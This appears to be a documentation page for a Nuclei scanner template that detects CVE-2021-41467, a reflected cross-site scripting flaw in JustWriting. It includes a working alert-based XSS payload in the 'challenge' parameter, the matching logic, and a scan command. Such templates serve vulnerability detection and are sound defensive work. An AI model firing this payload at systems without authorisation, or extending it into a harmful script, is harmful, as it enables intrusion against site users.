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Nuclei Templates

JustWriting - Cross-Site Scripting

ID: CVE-2021-41467

Severity: medium

Author: madrobot

Tags: cve2021,cve,justwriting,xss,justwriting_project

Description

Section titled “Description”

A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-41467


info:
  name: JustWriting  -  Cross-Site Scripting
  author: madrobot
  severity: medium
  description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/hjue/JustWriting/issues/106
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41467
    - https://github.com/hjue/JustWriting/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41467
    cwe-id: CWE-79
    epss-score: 0.00136
    epss-percentile: 0.48885
    cpe: cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: justwriting_project
    product: justwriting
  tags: cve2021,cve,justwriting,xss,justwriting_project


http:
  - method: GET
    path:
      - '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c8f7202e53641dc07c0e921dea4ed06134f51d2dfedc514d061960da2a2e7bac02204fa1ab68ad0a1e40486da901ce116f8d5ae613afc6b7c72964a9c8efa5dc9b64:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41467.yaml"

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